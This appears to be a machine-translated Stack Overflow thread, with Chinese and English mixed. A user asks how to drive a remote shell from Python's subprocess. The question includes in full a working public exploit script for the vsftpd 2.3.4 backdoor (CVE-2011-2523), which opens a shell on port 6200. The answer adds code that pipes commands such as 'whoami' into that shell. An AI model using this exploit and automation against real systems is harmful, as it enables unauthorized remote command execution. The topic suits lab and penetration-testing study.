【问题标题】:How to interact with a reverse shell given by a script in python?如何与python中脚本给出的反向shell交互?
【发布时间】:2021-08-28 10:14:03
【问题描述】:

我想“自动化”脚本给出的反向 shell。让我解释一下:

上下文:易受攻击的机器上有后门。

我在做什么:我创建了一个 subprocess,它执行一个脚本(python、perl、...)并给了我一个反向 shell。

Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()

我想做的事:除了运行我的脚本运行我的反向 shell,我还希望能够使用方法与它进行交互。

今天,我可以在反向 shell 的终端中手动编写:我用Popen 调用的脚本运行并使用后门。这给了我一个反向 shell,我可以输入我的命令。

明天,我希望能够在执行此反向 shell 期间调用方法:我使用 Popen 运行一个脚本,它利用后门并给了我一个 shell。而不是手动输入命令,我希望自动将一系列命令发送到这个反向 shell,并且对于每个命令,我都能够恢复返回的数据。

理想情况下,我想要这样的东西:

backdoor.execute() //This method allow me to get a reverse shell

backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell

我没有成功的尝试:我尝试使用 subprocess 模块的 Popen 类来重定向脚本的输入和/或输出

Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()

但是,当尝试重定向这两个流(或仅其中一个流)时,我的反向 shell 会像打开一样快地关闭。

我也尝试将我的命令直接放在communicate() 方法上:

Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")

我在输入和/或输出重定向和不重定向的情况下都试过了,但没有任何效果。

最后,我尝试使用pexpect 模块来运行我的脚本以获得反向shell,但我没有任何结论(可能是我做错了)。

PS:我无法更改允许我使用后门的脚本代码。

backdoor.py

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   
                                                           
from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

【问题讨论】:

  • 如果你不显示backdoor.py的代码,谁能知道发生了什么?
  • @Armali 我已经编辑了我的帖子,你现在可以看后门了。这是一个简单的 telnet 连接。我想用直接与这个反向 shell 交互的方法替换我在终端中手动输入的命令。
  • 你没有检查显示的第二个Popen(…).communicate(…)的返回值吗?
  • 是的,它返回 None 因为我认为“whoami”命令会立即发送,并且反向 shell 需要一点时间来设置。
  • 嗯 - 设置时间 应该无关紧要,因为documentation 说:等待进程终止。这一定是你说的那个问题,当我将输入重定向到输出时,我的 shell 会立即退出。

标签: python shell subprocess python-3.8 pexpect


【解决方案1】:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")

这应该适用于附加 \n 后的单个命令,并且如果使用了 -u(无缓冲)选项。当然必须对返回值做一些事情才能得到命令输出:

output = Popen(["python", "-u", "/opt/exploits/backdoor.py", remote_ip],
               stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami\n")
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result

前提是

backdoor = Popen(["python", "-u", "backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE)

我们可以发送一个命令(如果您不想在此之后退出)用 e。 g.

backdoor.stdin.write(b"whoami\n")

得到长度不确定的结果

import select
import os
timeout = 1
while select.select([backdoor.stdout], [], [], timeout)[0]:
    print(os.read(backdoor.stdout.fileno(), 4096).decode())

【讨论】:

  • 非常感谢您的回复,但它不起作用。我不知道为什么当我将输入重定向到输出时,我的 shell 会立即退出。在我所有的测试中,我发现保持外壳打开的唯一方法是不重定向输入或输出。所以你的回答没有给我任何东西,外壳关闭。
  • 将输入重定向到输出是什么意思?
  • 我的意思是 stdin=PIPE - stdout=PIPE
猜你喜欢
  • 1970-01-01
  • 2023-04-10
  • 1970-01-01
  • 2016-05-29
  • 2023-03-09
  • 1970-01-01
  • 2021-04-14
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多